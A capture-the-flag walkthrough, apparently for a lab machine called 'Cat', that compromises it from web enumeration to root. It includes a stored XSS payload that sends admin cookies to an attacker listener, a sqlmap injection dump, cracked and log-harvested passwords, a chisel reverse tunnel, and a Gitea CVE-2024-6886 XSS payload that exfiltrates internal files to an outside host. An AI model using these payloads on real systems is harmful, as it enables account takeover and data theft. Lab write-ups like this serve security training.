Cat¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.11.53

Enumeration¶

Accessing http://cat.htb/ revealed nothing interesting initially. Running feroxbuster detected an exposed .git directory.

python git_dumper.py http://cat.htb/.git /path/to/output

Source code analysis revealed:

• admin.php - Admin section accessible only to user axel
• config.php - Uses SQLite database at /databases/cat.db
• accept_cat.php - SQL injection in catName parameter

Exploitation¶

XSS Session Hijacking¶

Register an account with a stored XSS payload to steal admin cookies:

curl 'http://cat.htb/join.php?username=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.10.15.19%3A4444%2F%3Fc%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&email=test@test.com&password=test&registerForm=Register'

Once the admin visits the page, the session cookie is sent to the listener.

SQL Injection in accept_cat.php¶

Using SQLMap to dump the SQLite database:

sqlmap -u "http://cat.htb/accept_cat.php" \
  --method=POST \
  --data="catId=0&catName=test" \
  -p catName \
  --cookie="PHPSESSID=..." \
  --dbms=sqlite \
  --dump

Extracted hashes:

Cracked via CrackStation: ac369922d560f17d6eeb8b2c7dec498c -> soyunaprincesarosa

SSH Access as rosa¶

ssh rosa@10.10.11.53
# password: soyunaprincesarosa

Lateral Movement¶

Apache Log Credentials¶

As part of group adm, readable Apache logs:

cat /var/log/apache2/access.log | grep axel

Found cleartext credentials:

loginUsername=axel
loginPassword=aNdZwgC4tI9gnVXv_e3Q

Switch to axel¶

su axel -
# password: aNdZwgC4tI9gnVXv_e3Q

user.txt: ***

Internal Enumeration¶

Mail Review¶

cat /var/mail/axel

Emails revealed a Gitea instance running on localhost:3000 containing an Employee Management repository.

Port Forwarding with Chisel¶

# Attacker
./chisel server --port 4444 --reverse

# Target
/tmp/chisel client 10.10.15.19:4444 R:9082:127.0.0.1:3000

Access Gitea at http://127.0.0.1:9082/.

Exploitation - Gitea (CVE-2024-6886)¶

Gitea version 1.22.0, vulnerable to CVE-2024-6886 (XSS via repository description).

Injected XSS payload in a repo description to exfiltrate files via the admin user jobert:

<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response=>response.text()).then(data=>fetch("http://10.10.15.19:1234/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS</a>

Sent via email to trigger:

echo -e "http://127.0.0.1:3000/axel/exploit" | sendmail jobert@cat.htb

Repeating the technique on index.php revealed hardcoded credentials:

$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

Privilege Escalation¶

su - root
# password: IKw75eR0MR7CMIxhH0

root.txt: ***

Summary¶

Flags¶

user.txt: *** root.txt: ***